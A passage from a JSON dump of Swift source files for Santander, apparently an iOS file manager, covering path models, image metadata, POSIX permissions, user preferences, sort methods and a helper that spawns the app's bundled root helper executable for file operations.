dateFormat: String) {\n        self.init()\n        self.dateFormat = dateFormat\n    }\n}\n\nextension UIApplication {\n    var sceneKeyWindow: UIWindow? {\n        return UIApplication.shared\n        .connectedScenes\n        .flatMap { ($0 as? UIWindowScene)?.windows ?? [] }\n        .first { $0.isKeyWindow }\n    }\n}\n\nextension CTFontDescriptor {\n    var uiFont: UIFont {\n        return CTFontCreateWithFontDescriptor(self, UserPreferences.fontViewerFontSize, nil) as UIFont\n    }\n}\n\nextension UIPasteboard {\n    var probableURL: URL? {\n        if let url = url { return url }\n        if let string = string, string.hasPrefix(\"/\") { return URL(fileURLWithPath: string) }\n        return nil\n    }\n}\n\nextension UIApplication {\n    func setShortcutItems<URLCollection: Collection<Path>>(intoURLs urls: URLCollection) {\n        shortcutItems = urls.map { bookmark in\n            return UIApplicationShortcutItem(type: bookmark.url.absoluteString,\n                                             localizedTitle: bookmark.lastPathComponent,\n                                             localizedSubtitle: bookmark.path,\n                                             icon: nil,\n                                             userInfo: [\"ShortcutURLToOpenTo\": bookmark.path] as [String: NSSecureCoding])\n        }\n    }\n}\n\nextension Array<Path> {\n    func toURL() -> [URL] {\n        map(\\.url)\n    }\n}\n"
  },
  {
    "path": "Santander/Other/GoToItem.swift",
    "content": "//\n//  GoToItem.swift\n//  Santander\n//\n//  Created by Serena on 24/10/2022\n//\n\t\n\nimport UIKit\n\n/// An item displayed for the user in the \"Go to..\" menu\nstruct GoToItem: Hashable {\n    \n    /// The dictionary to describe Go To Items which may or may not exist (as in, the URL path itself may or may not exist on disk)\n    private typealias MayExistDictionary = [String: (URL?, UIImage?)]\n    \n    let displayName: String\n    let url: URL\n    let image: UIImage?\n    \n    init(displayName: String, url: URL, image: UIImage?) {\n        self.displayName = displayName\n        self.url = url\n        self.image = image\n    }\n    \n    // this is here to make code below easier to read\n    private static func _searchPathDirURL(_ searchPath: FileManager.SearchPathDirectory) -> URL? {\n        return FileManager.default.urls(for: searchPath, in: .userDomainMask).first\n    }\n    \n    private static func _generateAll() -> [GoToItem] {\n        // these items always exist and will always be displayed\n        let coreItems: [GoToItem] = [\n            GoToItem(displayName: \"Root\", url: URL(fileURLWithPath: \"/var/root\"), image: nil),\n            GoToItem(displayName: \"Home\", url: .home, image: UIImage(systemName: \"house\"))\n        ]\n  \n        let mayExistDict: MayExistDictionary = [\n            \"Applications\": (_searchPathDirURL(.applicationDirectory), .appsDirectory),\n            \"Library\":      (_searchPathDirURL(.libraryDirectory),     .libraryDirectory),\n            \"Documents\":    (_searchPathDirURL(.documentDirectory),    .documentDirectory),\n            \"Downloads\":    (_searchPathDirURL(.downloadsDirectory),   .downloadsDirectory)\n        ]\n        \n        let mayExistItems: [GoToItem] = mayExistDict.compactMap { (key, value) in\n            let (url, image) = value\n            guard let url = url, FileManager.default.fileExists(atPath: url.path) else {\n                return nil\n            }\n            \n            return GoToItem(displayName: key, url: url, image: image)\n        }\n        \n        \n        return coreItems + mayExistItems\n    }\n    \n    static let all = _generateAll()\n}\n\nfileprivate extension UIImage {\n    static let appsDirectory =      UIImage(systemName: \"app.dashed\")\n    static let libraryDirectory =   UIImage(systemName: \"books.vertical\")\n    static let documentDirectory =  UIImage(systemName: \"doc\")\n    static let downloadsDirectory = UIImage(systemName: \"arrow.down.circle\")\n}\n"
  },
  {
    "path": "Santander/Other/ImageMetadata.swift",
    "content": "//\n//  ImageMetadata.swift\n//  Santander\n//\n//  Created by Serena on 24/08/2022.\n//\n\nimport Foundation\nimport ImageIO\nimport CoreLocation\n\n// warning: tons of `[String: Any]` usage ahead.\n\n/// A Class containing metadata of an image at a specified URL\nclass ImageMetadata {\n    let pixelWidth: Int?\n    let pixelHeight: Int?\n    \n    var location: ImageLocation\n    let exifInfo: ImageExifInfo?\n    let cameraInfo: ImageCameraInfo?\n    let dateTimeTaken: Date?\n    \n    /// The dictionary containing all values\n    var dictionary: [String: Any]\n    \n    func setProperties(toDictionary newDict: [String: Any], forFileURL fileURL: URL) -> Bool {\n        guard let imageSource = CGImageSourceCreateWithURL(fileURL as CFURL, nil),\n              let type = CGImageSourceGetType(imageSource),\n              let dest = CGImageDestinationCreateWithURL(fileURL as CFURL, type, 1, nil)\n        else {\n            return false\n        }\n        \n        CGImageDestinationAddImageFromSource(dest, imageSource, 0, newDict as CFDictionary)\n        \n        if CGImageDestinationFinalize(dest) {\n            self.dictionary = newDict\n            return true\n        } else {\n            return false\n        }\n    }\n    \n    convenience init?(fileURL: URL) {\n        guard let imageSource = CGImageSourceCreateWithURL(fileURL as CFURL, nil),\n              let dict = CGImageSourceCopyPropertiesAtIndex(imageSource, 0, nil) as? [String: Any] else {\n            return nil\n        }\n        \n        self.init(dictionary: dict)\n    }\n    \n    init(dictionary dict: [String: Any]) {\n        \n        self.pixelWidth = dict[kCGImagePropertyPixelWidth as String] as? Int\n        self.pixelHeight = dict[kCGImagePropertyPixelHeight as String] as? Int\n        \n        if let exifDict = dict[kCGImagePropertyExifDictionary as String] as? [String: Any] {\n            self.exifInfo = ImageExifInfo(exifDict: exifDict)\n        } else {\n            self.exifInfo = nil\n        }\n        \n        if let gpsDict = dict[kCGImagePropertyGPSDictionary as String] as? [String: Any] {\n            let lat = gpsDict[kCGImagePropertyGPSLatitude as String] as? CLLocationDegrees\n            let long = gpsDict[kCGImagePropertyGPSLongitude as String] as? CLLocationDegrees\n            self.location = ImageLocation(lat: lat, long: long)\n        } else {\n            self.location = ImageLocation(lat: nil, long: nil)\n        }\n        \n        if let tiffDict = dict[kCGImagePropertyTIFFDictionary as String] as? [String: Any] {\n            self.cameraInfo = ImageCameraInfo(tiffDictionary: tiffDict)\n            \n            if let dateTime = tiffDict[kCGImagePropertyTIFFDateTime as String] as? String {\n                self.dateTimeTaken = DateFormatter.EXIFDateFormatter.date(from: dateTime)\n            } else {\n                self.dateTimeTaken = nil\n            }\n            \n        } else {\n            self.cameraInfo = nil\n            self.dateTimeTaken = nil\n        }\n        \n        self.dictionary = dict\n//        print(dict)\n    }\n}\n\nstruct ImageLocation {\n    var lat: CLLocationDegrees?\n    var long: CLLocationDegrees?\n    \n    var coordinate: CLLocationCoordinate2D? {\n        guard let lat = lat, let long = long else {\n            return nil\n        }\n        \n        return CLLocationCoordinate2D(latitude: lat, longitude: long)\n    }\n}\n\n/// Contains the information about the image's camera.\nstruct ImageCameraInfo {\n    let manufacturer: String?\n    let model: String?\n    let softwareVersion: String?\n    \n    init(tiffDictionary: [String: Any]) {\n        self.manufacturer = tiffDictionary[kCGImagePropertyTIFFMake as String] as? String\n        self.model = tiffDictionary[kCGImagePropertyTIFFModel as String] as? String\n        self.softwareVersion = tiffDictionary[kCGImagePropertyTIFFSoftware as String] as? String\n    }\n}\n\nstruct ImageExifInfo {\n    let apertureValue: Double?\n    let brightnessValue: Double?\n    let lensModel: String?\n    let lensManufacturer: String?\n    \n    init(exifDict: [String: Any]) {\n        self.apertureValue = exifDict[kCGImagePropertyExifApertureValue as String] as? Double\n        self.brightnessValue = exifDict[kCGImagePropertyExifBrightnessValue as String] as? Double\n        self.lensModel = exifDict[kCGImagePropertyExifLensModel as String] as? String\n        self.lensManufacturer = exifDict[kCGImagePropertyExifLensMake as String] as? String\n    }\n}\n"
  },
  {
    "path": "Santander/Other/LoadingValueState.swift",
    "content": "//\n//  LoadingValueState.swift\n//  Santander\n//\n//  Created by Serena on 08/11/2022\n//\n\n\nimport Foundation\n\n/// Describes the state of a value which can be loaded in the UI asynchronously,\n/// ie, loading the size of a path\nenum LoadingValueState<Value> {\n    case loading\n    case unavailable\n    case value(Value)\n}\n"
  },
  {
    "path": "Santander/Other/Path.swift",
    "content": "//\n//  Path.swift\n//  Santander\n//\n//  Created by Serena on 10/02/2023.\n//\n\nimport UIKit\nimport UniformTypeIdentifiers\nimport ApplicationsWrapper\n\nstruct Path: Hashable, ExpressibleByStringLiteral {\n    static let resourceKeys: Set<URLResourceKey> = [.isDirectoryKey, .contentTypeKey]\n    \n    static let root: Path = \"/\"\n    static let home: Path = Path(url: URL(fileURLWithPath: NSHomeDirectory()))\n    \n    var url: URL\n    var lastPathComponent: String\n    var isDirectory: Bool\n    var contentType: UTType?\n    \n    lazy var size = _getSize()\n    lazy var displayImage: UIImage? = _displayImage()\n    \n    /// A Dictionary containing the systemName for icons for of certain UTTypes\n    static let iconsDictionary: [UTType: String] = [\n        .text: \"doc.text\",\n        .image: \"photo\",\n        .audio: \"waveform\",\n        .video: \"play\",\n        .movie: \"play\",\n        .executable: \"terminal\"\n    ]\n    \n    static func isUType(_ type: UTType, ofAnotherType another: UTType) -> Bool {\n        return type == another || type.isSubtype(of: another)\n    }\n    \n    var path: String {\n        url.path\n    }\n    \n    var displayName: String {\n        FileManager.default.displayName(atPath: url.path)\n    }\n    \n    var pathExtension: String {\n        return url.pathExtension\n    }\n    \n    var containsAppUUIDSubpaths: Bool {\n        return url.pathComponents.contains(\"Containers\") || url.pathComponents.contains(\"containers\")\n    }\n   \n    func deletingLastPathComponent() -> Path {\n        return Path(url: url.deletingLastPathComponent())\n    }\n    \n    func deletingPathExtension() -> Path {\n        return Path(url: url.deletingPathExtension())\n    }\n    \n    func appendingPathExtension(_ ext: String) -> Path {\n        return Path(url: url.appendingPathExtension(ext))\n    }\n    \n    func appendingPathComponent(_ component: String) -> Path {\n        return Path(url: url.appendingPathComponent(component))\n    }\n    \n    func appendingPathComponent(_ component: String) -> URL {\n        return url.appendingPathComponent(component)\n    }\n    \n    var resolvedURL: URL {\n        return (try? URL(resolvingAliasFileAt: url)) ?? url\n    }\n    \n    var contents: [Path] {\n        let urls = (try? FileManager.default.contentsOfDirectory(at: url, includingPropertiesForKeys: nil)) ?? []\n        return urls.map { url in\n            Path(url:url)\n        }\n    }\n    \n    var applicationItem: LSApplicationProxy? {\n        if pathExtension == \"app\" {\n            return ApplicationsManager.shared.application(forBundleURL: self.url)\n        }\n        \n        return ApplicationsManager.shared.application(forContainerURL: self.url) ?? ApplicationsManager.shared.application(forDataContainerURL: self.url)\n    }\n    \n    private func _getSize() -> Int? {\n        if isDirectory {\n            var _size: Int = 0\n            for var content in contents {\n                _size += content.size ?? 0\n            }\n            \n            return _size\n        }\n        \n        return try? url.resourceValues(forKeys: [.fileSizeKey]).fileSize\n    }\n    \n    var isReadable: Bool {\n        return FileManager.default.isReadableFile(atPath: url.path)\n    }\n    \n    private func _displayImage() -> UIImage? {\n        if isDirectory {\n            return UIImage(systemName: \"folder.fill\")\n        } else {\n            // `UTType.data` is a generic type,\n            // return the generic symbol for files for it.\n            guard let type = self.contentType, type != .data else {\n                return UIImage(systemName: \"doc\")\n            }\n            \n            let imageName = Self.iconsDictionary.first { (key, _) in\n                Self.isUType(type, ofAnotherType: key)\n            }\n            \n            return UIImage(systemName: imageName?.value ?? \"doc\")\n        }\n    }\n    \n    init(url: URL) {\n        self.url = url\n        self.lastPathComponent = url.lastPathComponent\n        \n        let resourceValues = try? url.resourceValues(forKeys: Self.resourceKeys)\n        self.isDirectory = resourceValues?.isDirectory ?? false\n        self.contentType = resourceValues?.contentType\n    }\n    \n    init(stringLiteral value: StringLiteralType) {\n        self.init(url: URL(fileURLWithPath: value))\n    }\n}\n"
  },
  {
    "path": "Santander/Other/PathMetadata.swift",
    "content": "//\n//  PathMetadata.swift\n//  Santander\n//\n//  Created by Serena on 04/08/2022.\n//\n\nimport Foundation\nimport UniformTypeIdentifiers\n\n/// Describes the information about a given path\nstruct PathMetadata {\n    \n    /// The resource values to fetch\n    static let resourceValueKeys: Set<URLResourceKey> = [\n        .creationDateKey, .contentAccessDateKey, .addedToDirectoryDateKey, .contentModificationDateKey,\n        .contentTypeKey\n    ]\n    \n    /// The date the path was created\n    let creationDate: Date?\n    \n    /// The date the path was added to it's parent directory\n    let addedToDirectoryDate: Date?\n    \n    /// The date this path was last modified\n    let lastModifiedDate: Date?\n    \n    /// The date this path was last accessed\n    let lastAccessedDate: Date?\n    \n    /// The type of the path\n    let contentType: UTType?\n    \n    /// The applied permissions of the path\n    var permissions: PathPermissions?\n    \n    init(filePath path: Path, resourceValues: Set<URLResourceKey> = resourceValueKeys) {\n        let resourceValues = try? path.url.resourceValues(forKeys: resourceValues)\n        self.creationDate = resourceValues?.creationDate\n        self.addedToDirectoryDate = resourceValues?.addedToDirectoryDate\n        self.lastModifiedDate = resourceValues?.contentModificationDate\n        self.lastAccessedDate = resourceValues?.contentAccessDate\n        self.contentType = resourceValues?.contentType\n        self.permissions = PathPermissions(fileURL: path.url)\n    }\n}\n"
  },
  {
    "path": "Santander/Other/PathTransitioning.swift",
    "content": "//\n//  PathTransitioning.swift\n//  Santander\n//\n//  Created by Serena on 12/10/2022\n//\n\n\nimport Foundation\n\n/// A Protocol describing an object which can move from it's current path to another\nprotocol PathTransitioning {\n    func goToPath(path: Path)\n}\n"
  },
  {
    "path": "Santander/Other/PathType.swift",
    "content": "//\n//  PathType.swift\n//  Santander\n//\n//  Created by Serena on 27/06/2022\n//\n\t\n\nimport UIKit\n\nextension UIViewController {\n    /// Presents an alert to create a new path based on the path type\n    func presentAlertAndCreate(type: PathType, forURL url: URL) {\n        let alert = UIAlertController(title: \"New \\(type.description)\", message: nil, preferredStyle: .alert)\n        alert.addTextField { textField in\n            textField.placeholder = \"name\"\n        }\n        \n        let createAction = UIAlertAction(title: \"Create\", style: .default) { _ in\n            guard let name = alert.textFields?.first?.text, !name.isEmpty else {\n                return\n            }\n            \n            let urlToCreate = url.appendingPathComponent(name)\n            do {\n                switch type {\n                case .file:\n                    try FSOperation.perform(.createFile(files: [urlToCreate]), rootHelperConf: RootConf.shared)\n                case .directory:\n                    try FSOperation.perform(.createDirectory(directories: [urlToCreate]), rootHelperConf: RootConf.shared)\n                }\n            } catch {\n                self.errorAlert(error, title: \"Unable to create \\(name)\")\n            }\n        }\n        \n        alert.addAction(.cancel())\n        alert.addAction(createAction)\n        self.present(alert, animated: true)\n    }\n}\n\nenum PathType: CustomStringConvertible {\n    case file, directory\n    \n    var description: String {\n        switch self {\n        case .file:\n            return \"file\"\n        case .directory:\n            return \"directory\"\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/Other/PathsSortMethods.swift",
    "content": "//\n//  PathsSortMethods.swift\n//  Santander\n//\n//  Created by Serena on 24/06/2022\n//\n\t\n\nimport Foundation\n\n/// The ways to sort given subpaths\nenum PathsSortMethods: String, CaseIterable, CustomStringConvertible {\n    case alphabetically\n    case size\n    case type\n    case dateCreated\n    case dateModified\n    case dateAccessed\n    case dateAdded\n    \n    static var userPrefered: PathsSortMethods? {\n        if let string = UserDefaults.standard.string(forKey: \"SubPathsSortMode\"), let sortMode = PathsSortMethods(rawValue: string) {\n            return sortMode\n        }\n        \n        return nil\n    }\n    \n    var description: String {\n        switch self {\n        case .alphabetically:\n            return \"Alphabetical order\"\n        case .size:\n            return \"Size\"\n        case .type:\n            return \"Type\"\n        case .dateCreated:\n            return \"Date created\"\n        case .dateModified:\n            return \"Date modified\"\n        case .dateAccessed:\n            return \"Date accessed\"\n        case .dateAdded:\n            return \"Date Added\"\n        }\n    }\n    \n    /// Sorts an array of URLs with the current sort method\n    func sorting(URLs urls: [Path], sortOrder: SortOrder) -> [Path] {\n        return urls.sorted { (first: Path, second: Path) in\n            let ascending: Bool\n            let firstURL = first.url\n            let secondURL = second.url\n            switch self {\n            case .alphabetically:\n                ascending = firstURL.lastPathComponent < secondURL.lastPathComponent\n            case .size:\n                ascending = firstURL.size > secondURL.size\n            case .type:\n                return firstURL.contentType == secondURL.contentType\n            case .dateCreated:\n                ascending = firstURL.creationDate > secondURL.creationDate\n            case .dateModified:\n                ascending =  firstURL.lastModifiedDate > secondURL.lastModifiedDate\n            case .dateAccessed:\n                ascending = firstURL.lastAccessedDate > secondURL.lastAccessedDate\n            case .dateAdded:\n                ascending = firstURL.addedToDirectoryDate > secondURL.addedToDirectoryDate\n            }\n            \n            if sortOrder == .descending {\n                return !ascending\n            }\n            \n            return ascending\n        }\n    }\n}\n\nenum SortOrder: String, CaseIterable, CustomStringConvertible {\n    case ascending, descending\n    \n    init(rawValue: String) {\n        switch rawValue.lowercased() {\n        case \"ascending\":\n            self = .ascending\n        case \"descending\":\n            self = .descending\n        default:\n            self = .ascending // Default to ascending\n        }\n    }\n    \n    static var userPreferred: SortOrder {\n        guard let rawValue = UserDefaults.standard.string(forKey: \"SortOrder\") else {\n            return .ascending\n        }\n        \n        return self.init(rawValue: rawValue)\n    }\n    \n    var description: String {\n        switch self {\n        case .ascending:\n            return \"Ascending\"\n        case .descending:\n            return \"Descending\"\n        }\n    }\n    \n    /// The SF Symbol name of the sort order\n    var imageSymbolName: String {\n        switch self {\n        case .ascending:\n            return \"chevron.up\"\n        case .descending:\n            return \"chevron.down\"\n        }\n    }\n    \n    func toggling() -> SortOrder {\n        switch self {\n        case .ascending:\n            return .descending\n        case .descending:\n            return .ascending\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/Other/Permissions.swift",
    "content": "//\n//  Permissions.swift\n//  Santander\n//\n//  Created by Serena on 05/08/2022.\n//\n\nimport Foundation\n\n/// Represents the permissions of a path in POSIX Style\nstruct Permission: OptionSet, CustomStringConvertible, Equatable {\n    public var rawValue: Int\n\n    /// Grants the permission to execute a file\n    static let execute = Permission(rawValue: 1)\n    /// Grants the permission to modify a file\n    static let write = Permission(rawValue: 2)\n    /// Grants the permission to read a file\n    static let read = Permission(rawValue: 4)\n\n    init(rawValue: Int) {\n        self.rawValue = rawValue\n    }\n    \n    /// Initializes a new instant by checking the `st_mode` of the stat buffer\n    /// and matching the constants given.\n    /// see `ownerPermsConstants`, `groupPermsConstants`, and `otherUsersPermsConstants`\n    init(buffer: stat, constants: [UInt16: Permission]) {\n        self = constants.filter { (constant, _) in\n            return (buffer.st_mode & constant) != 0\n        }\n        \n        .map(\\.value)\n        .reducingToSingleOptionSet()\n    }\n    \n    var binaryRepresentation: String {\n        var b = String(rawValue, radix: 2)\n        while b.count < 3 { b = \"0\" + b }\n        return b\n    }\n    \n    var description: String {\n        return \"Readable: \\(contains(.read)), Writable: \\(contains(.write)), Executable: \\(contains(.execute))\"\n    }\n    \n    static func binaryRepresentation(of permissions: [Permission]) -> String {\n        return permissions.map { $0.binaryRepresentation }.joined()\n    }\n\n    static func octalRepresentation(of permissions: [Permission]) -> Int {\n        let binary = binaryRepresentation(of: permissions)\n        return Int(binary, radix: 2)!\n    }\n    \n    /// A dictionary representing the constants which could be checked\n    /// for the owner permissions of a path\n    static let ownerPermsConstants: [UInt16: Permission] = [\n        S_IRUSR: .read,\n        S_IWUSR: .write,\n        S_IXUSR: .execute\n    ]\n    \n    /// A dictionary representing the constants which could be checked\n    /// for the group permissions of a path\n    static let groupPermsConstants: [UInt16: Permission] = [\n        S_IRGRP: .read,\n        S_IWGRP: .write,\n        S_IXGRP: .execute\n    ]\n    \n    /// A dictionary representing the constants which could be checked\n    /// for the permissions of other users of a path\n    static let otherUsersPermsConstants: [UInt16: Permission] = [\n        S_IROTH: .read,\n        S_IWOTH: .write,\n        S_IXOTH: .execute\n    ]\n    \n}\n\n/// Represents the permissions of a path,\n/// including permissions for owner, group, and other users\nstruct PathPermissions: Equatable {\n    let fileURL: URL\n    \n    var ownerPermissions: Permission\n    var groupPermissions: Permission\n    var otherUsersPermissions: Permission\n    \n    var ownerName: String?\n    var groupOwnerName: String?\n    \n    init?(fileURL: URL) {\n        var buffer = stat()\n        guard lstat(fileURL.path, &buffer) == 0 else {\n            return nil\n        }\n        \n        self.ownerPermissions = Permission(buffer: buffer, constants: Permission.ownerPermsConstants)\n        self.groupPermissions = Permission(buffer: buffer, constants: Permission.groupPermsConstants)\n        self.otherUsersPermissions = Permission(buffer: buffer, constants: Permission.otherUsersPermsConstants)\n        \n        let attrs = try? FileManager.default.attributesOfItem(atPath: fileURL.path)\n        self.ownerName = attrs?[.ownerAccountName] as? String\n        self.groupOwnerName = attrs?[.groupOwnerAccountName] as? String\n        \n        self.fileURL = fileURL\n    }\n    \n    init(fileURL: URL, ownerPermissions: Permission, groupPermissions: Permission, otherUsersPermissions: Permission, ownerName: String? = nil, groupOwnerName: String? = nil) {\n        self.fileURL = fileURL\n        self.ownerPermissions = ownerPermissions\n        self.groupPermissions = groupPermissions\n        self.otherUsersPermissions = otherUsersPermissions\n        self.ownerName = ownerName\n        self.groupOwnerName = groupOwnerName\n    }\n    \n    func apply() throws {\n        try fileURL.setPermissions(forOwner: ownerPermissions, group: groupPermissions, others: otherUsersPermissions)\n    }\n}\n"
  },
  {
    "path": "Santander/Other/Preferences/Storage.swift",
    "content": "//\n//  Storage.swift\n//  Santander\n//\n//  Created by Serena on 06/07/2022\n//\n\t\n\nimport Foundation\n\n@propertyWrapper\nstruct Storage<T> {\n    let key: String\n    let defaultValue: T\n\n    init(key: String, defaultValue: T) {\n        self.key = key\n        self.defaultValue = defaultValue\n    }\n\n    var wrappedValue: T {\n        get {\n            return UserDefaults.standard.object(forKey: key) as? T ?? defaultValue\n        }\n        \n        set {\n            UserDefaults.standard.set(newValue, forKey: key)\n        }\n    }\n}\n\n@propertyWrapper\nstruct CodableStorage<T: Codable> {\n    typealias ChangeHandler = ((T) -> ())\n    \n    let key: String\n    let defaultValue: T\n    var didChange: ChangeHandler?\n    \n    init(key: String, defaultValue: T, didChange: ChangeHandler?) {\n        self.key = key\n        self.defaultValue = defaultValue\n        self.didChange = didChange\n    }\n    \n    var wrappedValue: T {\n        get {\n            guard let data = UserDefaults.standard.data(forKey: key),\n                  let decoded = try? JSONDecoder().decode(T.self, from: data) else {\n                return defaultValue\n            }\n            \n            return decoded\n        }\n        \n        set {\n            guard let encoded = try? JSONEncoder().encode(newValue) else {\n                return\n            }\n            \n            UserDefaults.standard.set(encoded, forKey: key)\n            didChange?(newValue)\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/Other/Preferences/UserPreferences.swift",
    "content": "//\n//  UserPreferences.swift\n//  Santander\n//\n//  Created by Serena on 22/06/2022\n//\n\n\nimport UIKit\n\n/// Contains user preferences used in the Application\nenum UserPreferences {\n    @Storage(key: \"UseLargeNavTitles\", defaultValue: true)\n    static var useLargeNavigationTitles: Bool\n    \n    /// Bookmarked paths saved by the user, stored as Data.\n    /// see URL.bookmarkData\n    @Storage(key: \"BookmarksData\", defaultValue: [])\n    static private var _bookmarksData: [Data]\n    \n    /// Bookmarked paths by saved the user\n    static var bookmarks: Set<Path> {\n        get {\n            var dataArr = self._bookmarksData\n            let arr: [Path] = dataArr.compactMap { data in\n                var isStale: Bool = false\n                guard let url = try? URL(resolvingBookmarkData: data, bookmarkDataIsStale: &isStale) else { return nil }\n                \n                // replace if stale\n                if isStale, let indx = dataArr.firstIndex(of: data), let urlData = try? url.bookmarkData() {\n                    dataArr[indx] = urlData\n                    self._bookmarksData = dataArr\n                }\n                \n                return Path(url: url)\n            }\n            \n            return Set(arr)\n        }\n        \n        set {\n            _bookmarksData = newValue.compactMap { url in\n                try? url.url.bookmarkData()\n            }\n            \n            if displayRecentlyBookmarked {\n                // put last 5 items as the short cut items\n                let bookmarks: [Path] = newValue.suffix(5)\n                UIApplication.shared.setShortcutItems(intoURLs: bookmarks)\n            }\n        }\n    }\n    \n    @Storage(key: \"AlwaysShowSearchBar\", defaultValue: true)\n    static var alwaysShowSearchBar: Bool\n    \n    @Storage(key: \"ShowInfoButton\", defaultValue: false)\n    static var showInfoButton: Bool\n    \n    @Storage(key: \"LastOpenedPath\", defaultValue: nil)\n    static var lastOpenedPath: String?\n    \n    @Storage(key: \"UseLastOpenedPathWhenLaunching\", defaultValue: true)\n    static var useLastOpenedPathWhenLaunching: Bool\n    \n    @Storage(key: \"UserPreferredLaunchPath\", defaultValue: nil)\n    static var userPreferredLaunchPath: String?\n    \n    @Storage(key: \"TextEditorWrapLines\", defaultValue: true)\n    static var wrapLines: Bool \n    \n    @Storage(key: \"TextEditorShowLineCount\", defaultValue: true)\n    static var showLineCount: Bool \n    \n    @Storage(key: \"TextEditorUseCharacterPairs\", defaultValue: true)\n    static var useCharacterPairs: Bool\n    \n    /// The amount of seconds in the go forward / go backward buttons in the `AudioPlayerViewController`\n    @Storage(key: \"AudioVCSkipDuration\", defaultValue: 15)\n    static var skipDuration: Int\n    \n    /// The speed of the audio in the `AudioPlayerViewController`\n    @Storage(key: \"AudioVCSpeed\", defaultValue: 1)\n    static var audioVCSpeed: Float\n    \n    /// Whether or not to display files whose name starts with a dot\n    @Storage(key: \"displayHiddenFiles\", defaultValue: true)\n    static var displayHiddenFiles: Bool\n    \n    /// The user interface style (dark, light, system) which the user choses to use\n    @Storage(key: \"userIntefaceStyle\", defaultValue: UIUserInterfaceStyle.unspecified.rawValue)\n    static var preferredInterfaceStyle: Int\n    \n    @Storage(key: \"userPreferredTableViewStyle\", defaultValue: UITableView.Style.insetGrouped.rawValue)\n    static var preferredTableViewStyle: Int\n    \n    @Storage(key: \"FontViewerFontSize\", defaultValue: 30)\n    static var fontViewerFontSize: CGFloat\n    \n    @Storage(key: \"AssetCatalogControllerLayoutMode\", defaultValue: AssetCatalogViewController.LayoutMode.verical.rawValue)\n    static var assetCatalogControllerLayoutMode: Int\n    \n    @Storage(key: \"RootHelperEnabled\", defaultValue: false)\n    static var rootHelperIsEnabled: Bool\n    \n    @Storage(key: \"DisplayRecentlyUsedPathsInAppShortcuts\", defaultValue: true)\n    static var displayRecentlyBookmarked: Bool\n    \n    @CodableStorage(key: \"PathGroups\", defaultValue: [.default], didChange: { groups in\n        NotificationCenter.default.post(name: .pathGroupsDidChange, object: groups)\n    })\n    static var pathGroups: [PathGroup]\n    \n    /// The path to launch upon opening the program,\n    /// if this is nil, use `URL.root` instead.\n    static var launchPath: String? {\n        useLastOpenedPathWhenLaunching ? lastOpenedPath : userPreferredLaunchPath\n    }\n    \n    @CodableStorage(key: \"TextEditorTheme\", defaultValue: CodableTextEditorTheme(), didChange: nil)\n    static var textEditorTheme: CodableTextEditorTheme\n    \n    @CodableStorage(key: \"AppTintColor\", defaultValue: CodableColor(.systemBlue), didChange: nil)\n    static var appTintColor: CodableColor\n}\n\n/// A Group containing paths\nstruct PathGroup: Codable, Hashable {\n    let name: String\n    var paths: [URL]\n    \n    static let `default` = PathGroup(name: \"Default\", paths: [.root])\n    \n    func hash(into hasher: inout Hasher) {\n        hasher.combine(name)\n        hasher.combine(paths)\n    }\n}\n"
  },
  {
    "path": "Santander/Other/RootHelper.swift",
    "content": "//\n//  FSOperation.swift\n//  Santander\n//\n//  Created by Serena on 15/09/2022\n//\n\n\nimport Foundation\n@_exported import FSOperations // export FSOperations to rest of Santander module\nimport NSTaskBridge\n\nstruct RootConf: RootHelperConfiguration {\n    private init() {}\n    \n    static let shared = RootConf()\n    \n    func contents(of path: URL) throws -> [URL] {\n        let spawn = try spawn(command: try rootHelperURL(), args: [\"get-contents\", path.path])\n        return spawn.standardOutput.components(separatedBy: \" \").map(URL.init(fileURLWithPath:))\n    }\n    \n    private func rootHelperURL() throws -> URL {\n        guard let rootHelperURL = Bundle.main.url(forAuxiliaryExecutable: \"RootHelper\"),\n              FileManager.default.fileExists(atPath: rootHelperURL.path) else {\n            throw Errors.rootHelperUnavailable\n        }\n        \n        return rootHelperURL\n    }\n    \n    func perform(_ operation: FSOperation) throws {\n        let ret: Output\n        if case let .writeData(_, data) = operation {\n            ret = try spawn(command: try rootHelperURL(), args: operation.commandLineInvokation, standardInputData: data)\n        } else {\n            ret = try spawn(command: try rootHelperURL(), args: operation.commandLineInvokation)\n        }\n        \n        guard ret.status == 0 else {\n            throw Errors.otherError(description: \"Root helper returned non-zero status, error: \\(ret.standardError)\")\n        }\n    }\n    \n    /*\n     shamelessly copied from\n     https://github.com/elihwyma/Pogo/blob/c25186f7a554407563174b32f3a34c21aedba22b/Pogo/CommandRunner.swift#L11\n     Modified tho\n     */\n    \n    func spawn(command: URL, args: [String], root: Bool = true, standardInputData: Data? = nil) throws -> Output {\n        var stdoutPipe: [Int32] = [0, 0]\n        var stderrPipe: [Int32] = [0, 0]\n        //var stdinPipe:  [Int32] = [0, 0]\n        \n        let bufsiz = Int(BUFSIZ)\n        \n        pipe(&stdoutPipe)\n        pipe(&stderrPipe)\n        //pipe(&stdinPipe)\n        \n        guard fcntl(stdoutPipe[0], F_SETFL, O_NONBLOCK) != -1,\n              fcntl(stderrPipe[0], F_SETFL, O_NONBLOCK) != -1/*,\n              fcntl(stdinPipe[0],  F_SETFL, O_NONBLOCK) != -1*/ else {\n            let currentErrnoString = String(cString: strerror(errno))\n            throw Errors.otherError(description: \"fnctl failed?! Error: \\(currentErrnoString)\")\n        }\n        \n        /*\n        if let standardInputData {\n            standardInputData.withUnsafeBytes { rawBufferPtr in\n                let base = rawBufferPtr.baseAddress!\n                let writeAmount = write(stdinPipe[1], base, standardInputData.count)\n                NSLog(\"RootHelper: writeAmount: \\(writeAmount)\")\n            }\n        }\n         */\n        \n        let args: [String] = [command.lastPathComponent] + args\n        let argv: [UnsafeMutablePointer<CChar>?] = args.map { $0.withCString(strdup) }\n        defer { for case let arg? in argv { free(arg) } }\n        \n        var fileActions: posix_spawn_file_actions_t?\n        if root {\n            posix_spawn_file_actions_init(&fileActions)\n            posix_spawn_file_actions_addclose(&fileActions, stdoutPipe[0])\n            posix_spawn_file_actions_addclose(&fileActions, stderrPipe[0])\n            //posix_spawn_file_actions_addclose(&fileActions, stdinPipe[0])\n            \n            posix_spawn_file_actions_adddup2(&fileActions, stdoutPipe[1], STDOUT_FILENO)\n            posix_spawn_file_actions_adddup2(&fileActions, stderrPipe[1], STDERR_FILENO)\n            //posix_spawn_file_actions_adddup2(&fileActions, stdinPipe[0],  STDIN_FILENO)\n            \n            posix_spawn_file_actions_addclose(&fileActions, stdoutPipe[1])\n            